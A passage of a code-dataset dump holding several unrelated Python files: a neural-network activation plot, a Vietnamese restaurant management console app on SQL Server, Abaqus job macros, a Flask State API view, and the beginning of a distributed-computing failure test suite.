%s layer unit: %d\" % (from_layer, iy)\n assert net[to_layer] is not None, \"unknown layer: %s\" % (to_layer,)\n assert type(to_unit) is int, \"expected an int for the %s unit but got %s\" % (to_layer, to_unit)\n assert 0 <= to_unit < net[to_layer].size, \"no such %s layer unit: %d\" % (to_layer, to_unit)\n\n if colormap is None: colormap = get_colormap()\n if plt is None:\n raise Exception(\"matplotlib was not loaded\")\n act_min, act_max = net[from_layer].get_act_minmax() if act_range is None else act_range\n out_min, out_max = net[to_layer].get_act_minmax()\n if resolution is None:\n resolution = (act_max - act_min) / 50 # 50x50 pixels by default\n xmin, xmax, xstep = act_min, act_max, resolution\n ymin, ymax, ystep = act_min, act_max, resolution\n xspan = xmax - xmin\n yspan = ymax - ymin\n xpixels = int(xspan/xstep)+1\n ypixels = int(yspan/ystep)+1\n mat = np.zeros((ypixels, xpixels))\n ovector = net[from_layer].make_dummy_vector(default_from_layer_value)\n for row in range(ypixels):\n for col in range(xpixels):\n # (x,y) corresponds to lower left corner point of pixel\n x = xmin + xstep*col\n y = ymin + ystep*row\n vector = copy.copy(ovector)\n vector[ix] = x\n vector[iy] = y\n activations = net.propagate_from(from_layer, vector, to_layer, visualize=False)\n mat[row,col] = activations[to_unit]\n fig, ax = plt.subplots()\n axim = ax.imshow(mat, origin='lower', cmap=colormap, vmin=out_min, vmax=out_max)\n ax.set_title(\"Activation of %s[%s]\" % (to_layer, to_unit))\n ax.set_xlabel(\"%s[%s]\" % (from_layer, ix))\n ax.set_ylabel(\"%s[%s]\" % (from_layer, iy))\n ax.xaxis.tick_bottom()\n ax.set_xticks([i*(xpixels-1)/4 for i in range(5)])\n ax.set_xticklabels([xmin+i*xspan/4 for i in range(5)])\n ax.set_yticks([i*(ypixels-1)/4 for i in range(5)])\n ax.set_yticklabels([ymin+i*yspan/4 for i in range(5)])\n cbar = fig.colorbar(axim)\n plt.show(block=False)\n # optionally print out a table of activation values\n if show_values:\n s = '\\n'\n for y in np.linspace(act_max, act_min, 20):\n for x in np.linspace(act_min, act_max, 20):\n vector = [default_from_layer_value] * net[from_layer].size\n vector[ix] = x\n vector[iy] = y\n out = net.propagate_from(from_layer, vector, to_layer)[to_unit]\n s += '%4.2f ' % out\n s += '\\n'\n separator = 100 * '-'\n s += separator\n print(\"%s\\nActivation of %s[%d] as a function of %s[%d] and %s[%d]\" %\n (separator, to_layer, to_unit, from_layer, ix, from_layer, iy))\n print(\"rows: %s[%d] decreasing from %.2f to %.2f\" % (from_layer, iy, act_max, act_min))\n print(\"cols: %s[%d] increasing from %.2f to %.2f\" % (from_layer, ix, act_min, act_max))\n print(s)\n\n","sub_path":"conx/graphs.py","file_name":"graphs.py","file_ext":"py","file_size_in_byte":5714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"27113940","text":"import pyodbc \r\nimport datetime\r\nconn = pyodbc.connect('Driver={SQL Server};'\r\n\t\t\t\t\t\t'Server=ADMIN\\KAITO;'\r\n\t\t\t\t\t\t'Database=QuanLyNhaHang;'\r\n\t\t\t\t\t\t'Trusted_Connection=yes;')\r\nclass menu():\r\n\tdef __init__(self,idfood,food,count):\r\n\t\tself.idfood=idfood\r\n\t\tself.food=food\r\n\t\tself.count=count\r\ndef giaodienmenu():\r\n\tcursorMenu= conn.cursor()\r\n\tcursorMenu.execute('SELECT * FROM Food')\r\n\tprint (\"ID\\t\\t\\tFOOD\\t\\t\\tPRICE\")\r\n\tprint (\"---------------------------------------------------------------\")\r\n\tfor i in cursorMenu:\r\n\t\tprint (\"%s\\t\\t\\t%s\\t\\t\\t%d\" % (i[0],i[1],i[2]))\r\n\tprint (\"---------------------------------------------------------------\")\r\ndef giaodiengoimon():\r\n\tcursorTable=conn.cursor()\r\n\tkt=0\r\n\tcursorTable.execute('SELECT * FROM TableFood WHERE status=0')\r\n\tfor i in cursorTable:\r\n\t\tkt=kt+1\r\n\tif(kt==0):\r\n\t\tprint(\"Tất cả các bàn đều có người vui lòng quay lại sau.\")\r\n\telse:\r\n\t\tcursorTable.execute('SELECT * FROM TableFood')\r\n\t\tprint (\"ID\\t\\t\\tNAME\\t\\tSTATUS\")\r\n\t\tprint (\"---------------------------------------------------------------\")\r\n\t\tfor i in cursorTable:\r\n\t\t\tif(i[2]==0):\r\n\t\t\t\tstatus=\"Trống\"\r\n\t\t\telse:\r\n\t\t\t\tstatus=\"Có người\"\r\n\t\t\tprint (\"%s\\t\\t\\t%s\\t\\t%s\" % (i[0],i[1],status))\r\n\t\tprint (\"---------------------------------------------------------------\")\r\n\t\tkt=True\r\n\t\twhile(kt):\r\n\t\t\tMaTable=int(input(\"Nhập ID bàn bạn muốn đặt: \"))\r\n\t\t\tcursorTable.execute('SELECT * FROM TableFood WHERE id=(?)',(MaTable))\r\n\t\t\tkiemtra=0\r\n\t\t\tfor i in cursorTable:\r\n\t\t\t\tkiemtra=kiemtra+1\r\n\t\t\t\tif(i[2]==0):\r\n\t\t\t\t\tkt=False\r\n\t\t\t\telse:\r\n\t\t\t\t\tprint(\"Bàn bạn đặt đã có người vui lòng nhập lại ID bàn bạn muốn đặt.\")\r\n\t\t\tif(not kt):\r\n\t\t\t\tprint(\"Bạn đã đặt bàn thành công\")\r\n\t\t\t\tcursorTable.execute('UPDATE TableFood SET status=1 WHERE id=(?)',(MaTable))\r\n\t\t\t\tconn.commit()\r\n\t\t\tif(kiemtra==0):\r\n\t\t\t\tprint(\"Không ID này trong nhà hàng.Vui lòng nhập lại!\")\r\n\t\tgiaodienmenu()\r\n\t\ttongtien=0\r\n\t\tcursorBill=conn.cursor()\r\n\t\tcursorCount=conn.cursor()\r\n\t\tcursorBillInfo=conn.cursor()\r\n\t\tcursorMenu= conn.cursor()\r\n\t\tcursorBill.execute('INSERT INTO Bill(idTable,CheckIn,Checkout,Totalprice,status) VALUES (?,?,?,?,?)',(MaTable,datetime.datetime.today(),'',tongtien,0))\r\n\t\tconn.commit()\r\n\t\tdsmenu=[]\r\n\t\twhile(True):\r\n\t\t\tprint(\"Nhập 1: để gọi món\")\r\n\t\t\tprint(\"Nhập 2: để chốt hoá đơn\")\r\n\t\t\tprint(\"Nhập 3: Exit\")\r\n\t\t\ttest=int(input(\"Nhập lựa chọn: \"))\r\n\t\t\tif(test==1):\r\n\t\t\t\twhile(True):\r\n\t\t\t\t\tMaFood=int(input(\"Nhập ID món ăn bạn muốn gọi: \"))\r\n\t\t\t\t\tcursorMenu.execute('SELECT id,name FROM Food WHERE id=(?)',(MaFood))\r\n\t\t\t\t\tkt=0\r\n\t\t\t\t\tfor i in cursorMenu:\r\n\t\t\t\t\t\tNameFood=i[1]\r\n\t\t\t\t\t\tkt=kt+1\r\n\t\t\t\t\tif(kt==0):\r\n\t\t\t\t\t\tprint(\"Nhập sai ID vui lòng nhập lại!\")\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tbreak\r\n\t\t\t\twhile(True):\r\n\t\t\t\t\tsoluong=int(input(\"Nhập số lượng bạn muốn gọi: \"))\r\n\t\t\t\t\tif(soluong<1):\r\n\t\t\t\t\t\tprint(\"Số lượng không thể nhỏ hơn 1! Vui lòng nhập lại.\")\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tMondagoi=menu(MaFood,NameFood,soluong)\r\n\t\t\t\t\t\tdsmenu.append(Mondagoi)\r\n\t\t\t\t\t\tcursorCount.execute('SELECT count FROM Food WHERE id=(?)',(MaFood))\r\n\t\t\t\t\t\tfor i in cursorCount:\r\n\t\t\t\t\t\t\tDem=i[0]\r\n\t\t\t\t\t\tDem=Dem+soluong\r\n\t\t\t\t\t\tcursorCount.execute('UPDATE Food SET count=(?) WHERE id=(?)',(Dem,MaFood))\r\n\t\t\t\t\t\tconn.commit()\r\n\t\t\t\t\t\tbreak\r\n\t\t\t\tprint(\"Đặt món thành công.\")\r\n\t\t\t\tcursorMenu.execute('SELECT * FROM Food WHERE id=(?)',(MaFood))\r\n\t\t\t\tfor i in cursorMenu:\r\n\t\t\t\t\ttongtien=tongtien+i[2]*soluong\r\n\t\t\t\tcursorBill.execute('SELECT id FROM Bill WHERE idTable=(?) and status=0',(MaTable))\r\n\t\t\t\tfor i in cursorBill:\r\n\t\t\t\t\tidBill=i[0]\r\n\t\t\t\tcursorBill.execute('UPDATE Bill SET Totalprice=(?) WHERE id=(?)',(tongtien,idBill))\r\n\t\t\t\tconn.commit()\r\n\t\t\telif(test==2):\r\n\t\t\t\tif(tongtien==0):\r\n\t\t\t\t\tprint(\"Bạn chưa chọn món nào để chốt hoá đơn!\")\r\n\t\t\t\telse:\r\n\t\t\t\t\tprint (\"IdTable\\t\\t\\tNAME\\t\\tSoLuong\")\r\n\t\t\t\t\tfor i in dsmenu:\r\n\t\t\t\t\t\tprint(\"%d\\t\\t\\t%s\\t\\t%d\" %(i.idfood,i.food,i.count))\r\n\t\t\t\t\tprint(\"Tổng tiền của bạn là:\"+str(tongtien)+\" VND\")\r\n\t\t\telif(test==3):\r\n\t\t\t\tbreak\r\n\t\t\telse:\r\n\t\t\t\tprint(\"Nhập sai vui lòng nhập lại lựa chọn!\")\r\ndef thaydoi():\r\n\tgiaodienmenu()\r\n\tcursorMenu= conn.cursor()\r\n\tkt=True\r\n\twhile(kt):\r\n\t\tcursorMenu.execute('SELECT id FROM Food')\r\n\t\tmaFood=int(input(\"Chọn ID món bạn muốn thay đổi giá: \"))\r\n\t\tfor i in cursorMenu:\r\n\t\t\tif(i[0]==maFood):\r\n\t\t\t\tkt=False\r\n\t\t\t\tbreak\r\n\t\tif(kt==True):\r\n\t\t\tprint(\"Không có ID này vui lòng nhập lại!\")\r\n\twhile(True):\r\n\t\tgia=int(input(\"Nhập giá mà bạn muốn đổi: \"))\r\n\t\tif(gia<1):\r\n\t\t\tprint(\"Giá không hợp lí vui lòng nhập lại!\")\r\n\t\telse:\r\n\t\t\tbreak\r\n\tcursorMenu.execute('UPDATE Food SET price=(?) WHERE id=(?)',(gia,maFood))\r\n\tconn.commit()\r\n\tprint(\"Thay đổi giá món ăn thành công.\")\t\r\n\tgiaodienmenu()\r\ndef suamenu():\r\n\tgiaodienmenu()\r\n\twhile(True):\r\n\t\tcursorMenu= conn.cursor()\r\n\t\tcursorBillInfo=conn.cursor()\r\n\t\tprint(\"1:Xoá món ăn\")\r\n\t\tprint(\"2:Thêm món ăn\")\r\n\t\tprint(\"3:Exit\")\r\n\t\ttest=int(input(\"Nhập lựa chọn: \"))\r\n\t\tif(test==1):\r\n\t\t\tkt=True\r\n\t\t\twhile(kt):\r\n\t\t\t\tcursorMenu.execute('SELECT id FROM Food')\r\n\t\t\t\tmaFood=int(input(\"Nhập ID món ăn bạn muốn xoá: \"))\r\n\t\t\t\tfor i in cursorMenu:\r\n\t\t\t\t\t\tif(i[0]==maFood):\r\n\t\t\t\t\t\t\tkt=False\r\n\t\t\t\tif(kt):\r\n\t\t\t\t\tprint(\"Không có ID này vui lòng nhập lại!\")\r\n\t\t\twhile(True):\r\n\t\t\t\tcheck=input(\"Bạn đã chắc chắn muốn xoá dữ liệu này không(Y/N): \")\r\n\t\t\t\tif(check=='Y' or check=='y'):\r\n\t\t\t\t\tcursorMenu.execute('DELETE FROM Food WHERE id=(?)',(maFood))\r\n\t\t\t\t\tconn.commit()\r\n\t\t\t\t\tprint(\"Đã xoá thành công.\")\r\n\t\t\t\t\tgiaodienmenu()\r\n\t\t\t\t\tbreak\r\n\t\t\t\telif(check=='N' or check=='n'):\r\n\t\t\t\t\tbreak\r\n\t\t\t\telse:\r\n\t\t\t\t\tprint(\"Nhập sai vui lòng nhập lại.\")\r\n\t\telif(test==2):\r\n\t\t\tkt=True\r\n\t\t\tNUll=0\r\n\t\t\twhile(kt):\r\n\t\t\t\tcursorMenu.execute('SELECT id FROM Food')\r\n\t\t\t\tmaFood=int(input(\"Nhập ID món bạn muốn thêm: \"))\r\n\t\t\t\tfor i in cursorMenu:\r\n\t\t\t\t\tNUll=NUll+1\r\n\t\t\t\t\tif(i[0]==maFood):\r\n\t\t\t\t\t\tprint(\"Nhập lại ID, ID đã tồn tại!\")\r\n\t\t\t\t\t\tkt=True\r\n\t\t\t\t\t\tbreak\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tkt=False\r\n\t\t\t\tif(NUll==0):\r\n\t\t\t\t\tbreak\r\n\t\t\tkt=True\r\n\t\t\twhile(kt):\r\n\t\t\t\tmonan=input(\"Nhập tên món ăn bạn muốn thêm: \")\r\n\t\t\t\tif(monan==''):\r\n\t\t\t\t\tprint(\"Vui lòng nhập tên món ăn!\")\r\n\t\t\t\telse:\r\n\t\t\t\t\tNUll=0\r\n\t\t\t\t\tcursorMenu.execute('SELECT name FROM Food')\r\n\t\t\t\t\tfor i in cursorMenu:\r\n\t\t\t\t\t\tNUll=NUll+1\r\n\t\t\t\t\t\tif(i[0]==monan):\r\n\t\t\t\t\t\t\tprint('Tên này đã có trong menu.Vui lòng nhập lại!')\r\n\t\t\t\t\t\t\tkt=True\r\n\t\t\t\t\t\t\tbreak\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tkt=False\r\n\t\t\t\t\tif(NUll==0):\r\n\t\t\t\t\t\tbreak\r\n\t\t\twhile(True):\r\n\t\t\t\tgia=int(input(\"Nhập giá món ăn: \"))\r\n\t\t\t\tif(gia<1):\r\n\t\t\t\t\tprint(\"Giá không hợp lý vui lòng nhập lại!\")\r\n\t\t\t\telse:\r\n\t\t\t\t\tbreak\r\n\t\t\tcursorMenu.execute(\"INSERT INTO Food(id,name,price) VALUES (?,?,?)\",(maFood,monan,gia))\r\n\t\t\tconn.commit()\r\n\t\t\tprint(\"Thêm món ăn thành công.\")\r\n\t\t\tgiaodienmenu()\r\n\t\telif(test==3):\r\n\t\t\tbreak\r\n\t\telse:\r\n\t\t\tprint(\"Không có lựa chọn này vui lòng chọn lại!\")\r\ndef dangnhap():\r\n\tcursorAcc=conn.cursor()\r\n\tkt=True\r\n\twhile(kt):\r\n\t\tcursorAcc.execute('SELECT * FROM Account')\r\n\t\twhile (True):\r\n\t\t\taccount=input(\"Nhập tên đăng nhập:\")\r\n\t\t\tif(account==''):\r\n\t\t\t\tprint('Vui lòng nhập tên đăng nhập!')\r\n\t\t\telse:\r\n\t\t\t\tbreak\r\n\t\twhile(True):\r\n\t\t\tpassword=input(\"Nhập mật khẩu:\")\r\n\t\t\tif(password==''):\r\n\t\t\t\tprint('Vui lòng nhập mật khẩu!')\r\n\t\t\telse:\r\n\t\t\t\tbreak\r\n\t\tfor i in cursorAcc:\r\n\t\t\tif(account==i[0] and password==i[1]):\r\n\t\t\t\tkt=False\r\n\t\tif(kt):\t\r\n\t\t\tprint(\"Tài khoản hoặc mật khẩu của ban bị sai,vui lòng nhập lại!\")\r\n\tgiaodienAdmin()\r\ndef giaodienAdmin():\r\n\twhile(True):\r\n\t\tprint(\"1:Xem menu\")\r\n\t\tprint(\"2:Đặt món,chọn bàn\")\r\n\t\tprint(\"3:Thay đổi giá của món ăn\")\r\n\t\tprint(\"4:Thay đổi menu\")\r\n\t\tprint(\"5:Xem hoá đơn chưa thanh toán\")\r\n\t\tprint(\"6:Xem tổng doanh thu trong ngày\")\r\n\t\tprint(\"7:Exit\")\r\n\t\ttest=int(input(\"Nhập lựa chọn của bạn: \"))\r\n\t\tif(test==1):\r\n\t\t\tgiaodienmenu()\r\n\t\telif(test==2):\r\n\t\t\tgiaodiengoimon()\r\n\t\telif(test==3):\r\n\t\t\tthaydoi()\r\n\t\telif(test==4):\r\n\t\t\tsuamenu()\r\n\t\telif(test==5):\r\n\t\t\tBill()\r\n\t\telif(test==6):\r\n\t\t\tcheckDoanhthu()\r\n\t\telif(test==7):\r\n\t\t\tbreak\r\n\t\telse:\r\n\t\t\tprint(\"Nhập sai vui lòng nhập lại.\")\r\ndef giaodienKhach():\r\n\twhile(True):\r\n\t\tprint(\"1:Xem menu\")\r\n\t\tprint(\"2:Đặt món,chọn bàn\")\r\n\t\tprint(\"3:Exit\")\r\n\t\ttest=int(input(\"Nhập lựa chọn của bạn: \"))\r\n\t\tif(test==1):\r\n\t\t\tgiaodienmenu()\r\n\t\telif(test==2):\r\n\t\t\tgiaodiengoimon()\r\n\t\t\tbreak\r\n\t\telif(test==3):\r\n\t\t\tbreak\r\n\t\telse:\r\n\t\t\tprint(\"Nhập sai vui lòng nhập lại.\")\r\ndef Bill():\r\n\tcursorTable=conn.cursor()\r\n\tTable={}\r\n\tcursorTable.execute('SELECT id,name FROM TableFood')\r\n\tfor i in cursorTable:\r\n\t\tTable[i[0]]=i[1]\r\n\twhile(True):\r\n\t\tcursorBill=conn.cursor()\r\n\t\tcursorMenu=conn.cursor()\r\n\t\tcursorBill.execute('SELECT * FROM Bill WHERE status=0' )\r\n\t\tprint (\"ID\\t\\t\\tNAME_TABLE\\tCheckIn\\t\\t\\t\\t\\t\\tTotal_Price\")\r\n\t\tfor i in cursorBill:\r\n\t\t\tprint (\"%d\\t\\t\\t%s\\t\\t%s\\t\\t\\t%d\" % (i[0],Table[i[1]],i[2],i[4]))\r\n\t\tprint(\"1:Chọn hoá đơn thanh toán\")\r\n\t\tprint(\"2:Thoát\")\r\n\t\ttest=int(input(\"Nhập lựa chọn của bạn: \"))\r\n\t\tif(test==1):\r\n\t\t\tkt=True\r\n\t\t\twhile(kt):\r\n\t\t\t\tcursorBill.execute('SELECT * FROM Bill WHERE status=0')\r\n\t\t\t\tmaBill=int(input(\"Chọn ID hoá đơn thanh toán: \"))\r\n\t\t\t\tfor i in cursorBill:\r\n\t\t\t\t\tif(maBill==i[0]):\r\n\t\t\t\t\t\tkt=False\r\n\t\t\t\t\t\tMaTable=i[1]\r\n\t\t\t\tif(kt==True):\r\n\t\t\t\t\tprint(\"Nhập sai ID vui lòng nhập lại.\")\r\n\t\t\tcursorBill.execute('SELECT Totalprice FROM Bill WHERE id=(?)',maBill)\r\n\t\t\tfor i in cursorBill:\r\n\t\t\t\tprint(\"Tổng tiền hoá đơn là:\",i[0])\r\n\t\t\tcursorBill.execute('UPDATE Bill SET Checkout=(?),status=(?) WHERE id=(?)',(datetime.datetime.today(),1,maBill))\r\n\t\t\tconn.commit()\r\n\t\t\tcursorTableFood=conn.cursor()\r\n\t\t\tcursorTableFood.execute('UPDATE TableFood SET status=(?) WHERE id=(?)',(0,MaTable))\r\n\t\t\tconn.commit()\r\n\t\telif(test==2):\r\n\t\t\tbreak\r\n\t\telse:\r\n\t\t\tprint(\"Nhập sai vui lòng nhập lại.\")\r\ndef checkDoanhthu():\r\n\tcursorBill=conn.cursor()\r\n\twhile(True):\r\n\t\tprint(\"1:Xem doanh thu của ngày hôm nay\")\r\n\t\tprint(\"2:Xem doanh thu của tháng\")\r\n\t\tprint(\"3:Xem doanh thu của quý\")\r\n\t\tprint(\"4:Exit\")\r\n\t\ttest=int(input(\"Nhập lựa chọn của bạn: \"))\r\n\t\tif(test==1):\r\n\t\t\tcursorBill.execute('SELECT Totalprice FROM Bill WHERE status=1 And day(Checkout)=(?) and month(Checkout)=(?) and year(Checkout)=(?)',(datetime.date.today().day,datetime.date.today().month,datetime.date.today().year))\r\n\t\t\tTongdoanhso=0\r\n\t\t\tfor i in cursorBill:\r\n\t\t\t\tTongdoanhso=Tongdoanhso+i[0]\r\n\t\t\tprint(\"Tổng doanh số ngày hôm nay là: \",Tongdoanhso,\"VND\")\r\n\t\telif(test==2):\r\n\t\t\twhile(True):\r\n\t\t\t\tthang=int(input(\"Nhập tháng bạn muốn xem: \"))\r\n\t\t\t\tif(thang<=0 or thang>12):\r\n\t\t\t\t\tprint(\"Nhập tháng sai vui lòng nhập lại!\")\r\n\t\t\t\telse:\r\n\t\t\t\t\tbreak\r\n\t\t\tTongdoanhso=0\r\n\t\t\tcursorBill.execute('SELECT Totalprice FROM Bill WHERE status=1 and month(Checkout)=(?) and year(Checkout)=(?)',(thang,datetime.date.today().year))\r\n\t\t\tfor i in cursorBill:\r\n\t\t\t\tTongdoanhso=Tongdoanhso+i[0]\r\n\t\t\tprint(\"Doanh số của tháng \"+str(thang)+\" là:\",Tongdoanhso,\"VND\")\r\n\t\telif(test==3):\r\n\t\t\twhile(True):\r\n\t\t\t\tquy=int(input(\"Nhập quý bạn muốn xem: \"))\r\n\t\t\t\tif(quy<=0 or quy>4):\r\n\t\t\t\t\tprint(\"Nhập sai quý vui lòng nhập lại!\")\r\n\t\t\t\telse:\r\n\t\t\t\t\tbreak\r\n\t\t\tthang=quy*3\r\n\t\t\tTongdoanhso=0\r\n\t\t\tfor x in range(0,3):\r\n\t\t\t\tcursorBill.execute('SELECT Totalprice FROM Bill WHERE status=1 and month(Checkout)=(?) and year(Checkout)=(?)',(thang,datetime.date.today().year))\r\n\t\t\t\tfor i in cursorBill:\r\n\t\t\t\t\tTongdoanhso=Tongdoanhso+i[0]\r\n\t\t\t\tthang=thang-1\r\n\t\t\tprint(\"Doanh số của quý \"+str(quy)+\" là:\",Tongdoanhso,\"VND\")\r\n\t\telif(test==4):\r\n\t\t\tbreak\r\n\t\telse:\r\n\t\t\tprint(\"Nhập sai vui lòng nhập lại.\")\r\ndef giaodienBandau():\r\n\twhile(True):\r\n\t\tprint(\"1:Đăng nhập để quản lý nhà hàng.\")\r\n\t\tprint(\"2:Là Khách hàng muốn xem menu và gọi món.\")\r\n\t\ttest=int(input(\"Nhập lựa chọn: \"))\r\n\t\tif(test==1):\r\n\t\t\tdangnhap()\r\n\t\t\tbreak\r\n\t\telif(test==2):\r\n\t\t\tgiaodienKhach()\r\n\t\t\tbreak\r\n\t\telse:\r\n\t\t\tprint(\"Nhập sai vui lòng nhập lại.\")\r\ngiaodienBandau()","sub_path":"B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":12169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"496441715","text":"\"\"\" Macros functions to be used in Abaqus environment.\n abaqusMacros.cfg file is expected to be in the same folder as\n this script.\n Ideally, put both in the /site folder of your Abaqus installation,\n otherwise you could place them in the working directory, but if\n the interpreter switches to another directory, it won't be able\n to read the macros.\n \n Developed by Rodrigo Rivero.\n https://github.com/rodrigo1392\"\"\"\nfrom __future__ import print_function\n# -*- coding: mbcs -*-\n# Do not delete the following import lines\nfrom abaqus import *\nfrom abaqusConstants import *\nimport __main__\nimport ConfigParser as configparser\n\n\n# Config input file\nconfig_file_path = __file__.replace('.py', '.cfg').replace('.pyc', '.cfg').replace('.cfgc', '.cfg')\ncfg = configparser.ConfigParser()\ncfg.read(config_file_path)\n\n\n# Extract input data and process it\nCPUS_NUMBER = eval(cfg.get('MACROS', 'CPUS_NUMBER'))\nprint('CPUS_NUMBER:', CPUS_NUMBER)\n\n\ndef jobs_create_4all_models():\n \"\"\"\n Creates a Job for every Model in the Database, if it doesn`t exist yet,\n with the assigned characteristics.\n \"\"\"\n global CPUS_NUMBER\n for model_key, model in mdb.models.items():\n # Replace all blank spaces for underscores\n model_name = model_key.replace(' ', '_')\n # Create the Job using each Model name\n if model_name not in mdb.jobs.keys():\n jobs_create_4all_models_with_overwrite()\n return\n\n\ndef jobs_create_4all_models_with_overwrite():\n \"\"\"\n Creates a Job for every Model in the Database, with the\n assigned characteristics.\n \"\"\"\n global CPUS_NUMBER\n for model_key, model in mdb.models.items():\n # Replace all blank spaces for underscores\n model_name = model_key.replace(' ', '_')\n # Create the Job using each Model name\n mdb.Job(name=str(model_name), model=model, description='',\n type=ANALYSIS, atTime=None, waitMinutes=0, waitHours=0,\n queue=None, memory=90, memoryUnits=PERCENTAGE,\n getMemoryFromAnalysis=True, explicitPrecision=SINGLE,\n nodalOutputPrecision=SINGLE, echoPrint=OFF, modelPrint=OFF,\n contactPrint=OFF, historyPrint=OFF, userSubroutine='',\n scratch='', resultsFormat=ODB, multiprocessingMode=DEFAULT,\n numCpus=CPUS_NUMBER, numDomains=CPUS_NUMBER)\n return\n\n\ndef jobs_run_all():\n \"\"\" Runs all the Jobs contained in the Database, one at a time. \"\"\"\n jobs_count = 1\n for job_key, job in mdb.jobs.items():\n job.submit(consistencyChecking=OFF)\n print('Job number ', str(jobs_count), ' of: ', str(len(mdb.jobs)))\n job.waitForCompletion()\n jobs_count += 1\n return\n\n\ndef jobs_run_not_completed():\n \"\"\" Runs all Jobs contained in the Database which status in not\n COMPLETED, one at a time. \"\"\"\n jobs_count = 1\n for job_key, job in mdb.jobs.items():\n if job.status != COMPLETED:\n job.submit(consistencyChecking=OFF)\n print('Job number ', str(jobs_count))\n job.waitForCompletion()\n jobs_count += 1\n return\n\n\ndef models_replace_blank_spaces():\n \"\"\" Replaces all blank spaces in the names of the Models\n present in the current Database for underscores. \"\"\"\n for model_key in mdb.models.keys():\n mdb.models.changeKey(fromName=model_key,\n toName=model_key.replace(\" \", \"_\"))\n return\n\n\ndef odbs_close_all_odbs():\n \"\"\" Closes all Odbs that are open on the current Session. \"\"\"\n for odb_key, odb in session.odbs.items():\n odb.close()\n return\n\n\ndef xydata_clean_all_xydata():\n \"\"\" Erases all xyData from the current Session \"\"\"\n for xydata_key, xydata in session.xyDataObjects.items():\n del xydata\n return\n\n\ndef xyplots_clean_all_xyplots():\n \"\"\" Erases all xyPlots from the current Session. \"\"\"\n for xyplot_key, xyplot in session.xyPlots.items():\n del xyplot\n return\n","sub_path":"abaqusMacros.py","file_name":"abaqusMacros.py","file_ext":"py","file_size_in_byte":3965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"122439620","text":"#!/usr/bin/python3\n\"\"\"States module\"\"\"\nfrom api.v1.views import app_views\nfrom flask import jsonify, abort, make_response, request\nfrom models import storage\nfrom models.state import State\n\n\n@app_views.route('/states', methods=['GET'], strict_slashes=False)\n@app_views.route('/states/', methods=['GET'])\ndef all_states(state_id=None):\n \"\"\"Returns all state objects handeling states id\"\"\"\n states = []\n for value in storage.all(State).values():\n states.append(value.to_dict())\n if not state_id:\n return jsonify(states)\n get_state = storage.get(State, state_id)\n if get_state is None:\n abort(404)\n return jsonify(get_state.to_dict())\n\n\n@app_views.route('/states/', methods=['DELETE'])\ndef delete_state(state_id=None):\n \"\"\"Deletes a state objects by id\"\"\"\n get_state = storage.get(State, state_id)\n if get_state is not None:\n storage.delete(get_state)\n storage.save()\n return make_response(jsonify({}), 200)\n abort(404)\n\n\n@app_views.route('/states', methods=['POST'], strict_slashes=False)\ndef creates_state():\n \"\"\"Creates a state object\"\"\"\n get_states = request.get_json()\n if not get_states:\n abort(400, 'Not a JSON')\n elif 'name' not in get_states:\n abort(400, 'Missing name')\n new_obj = State(name=get_states['name'])\n storage.new(new_obj)\n storage.save()\n return jsonify(new_obj.to_dict()), 201\n\n\n@app_views.route('/states/', methods=['PUT'])\ndef update_state(state_id=None):\n \"\"\"Updates a state objects by id\"\"\"\n state = storage.get(State, state_id)\n if not state:\n abort(404)\n\n get_states = request.get_json()\n if not get_states:\n abort(400, 'Not a JSON')\n\n for key, value in get_states.items():\n if key not in [\"id\", \"created_at\", \"updated_at\"]:\n setattr(state, key, value)\n state.save()\n return jsonify(state.to_dict()), 200\n","sub_path":"api/v1/views/states.py","file_name":"states.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"201413903","text":"from __future__ import print_function, division, absolute_import\n\nfrom concurrent.futures import CancelledError\nfrom operator import add\nfrom time import time, sleep\n\nfrom dask import delayed\nimport pytest\nfrom toolz import partition_all\nfrom tornado import gen\n\nfrom distributed.executor import _wait\nfrom distributed.utils import sync\nfrom distributed.utils_test import (gen_cluster, cluster, inc, loop, slow, div,\n slowinc, slowadd)\nfrom distributed import Executor, Nanny, wait\n\n\ndef test_submit_after_failed_worker(loop):\n with cluster() as (s, [a, b]):\n with Executor(('127.0.0.1', s['port']), loop=loop) as e:\n L = e.map(inc, range(10))\n wait(L)\n a['proc'].terminate()\n total = e.submit(sum, L)\n assert total.result() == sum(map(inc, range(10)))\n\n\ndef test_gather_after_failed_worker(loop):\n with cluster() as (s, [a, b]):\n with Executor(('127.0.0.1', s['port']), loop=loop) as e:\n L = e.map(inc, range(10))\n wait(L)\n a['proc'].terminate()\n result = e.gather(L)\n assert result == list(map(inc, range(10)))\n\n\n@slow\ndef test_gather_then_submit_after_failed_workers(loop):\n with cluster(nworkers=4) as (s, [w, x, y, z]):\n with Executor(('127.0.0.1', s['port']), loop=loop) as e:\n L = e.map(inc, range(20))\n wait(L)\n w['proc'].terminate()\n total = e.submit(sum, L)\n wait([total])\n\n (_, port) = first(e.scheduler.who_has[total.key])\n for d in [x, y, z]:\n if d['port'] == port:\n d['proc'].terminate()\n\n result = e.gather([total])\n assert result == [sum(map(inc, range(20)))]\n\n\n@gen_cluster(Worker=Nanny, timeout=60, executor=True)\ndef test_failed_worker_without_warning(e, s, a, b):\n L = e.map(inc, range(10))\n yield _wait(L)\n\n a.process.terminate()\n start = time()\n while not a.process.is_alive():\n yield gen.sleep(0.01)\n assert time() - start < 10\n\n yield gen.sleep(0.5)\n\n start = time()\n while len(s.ncores) < 2:\n yield gen.sleep(0.01)\n assert time() - start < 10\n\n yield _wait(L)\n\n L2 = e.map(inc, range(10, 20))\n yield _wait(L2)\n assert all(len(keys) > 0 for keys in s.has_what.values())\n ncores2 = s.ncores.copy()\n\n yield e._restart()\n\n L = e.map(inc, range(10))\n yield _wait(L)\n assert all(len(keys) > 0 for keys in s.has_what.values())\n\n assert not (set(ncores2) & set(s.ncores)) # no overlap\n\n\n@gen_cluster(Worker=Nanny, executor=True)\ndef test_restart(e, s, a, b):\n assert s.ncores == {a.worker_address: 1, b.worker_address: 2}\n\n x = e.submit(inc, 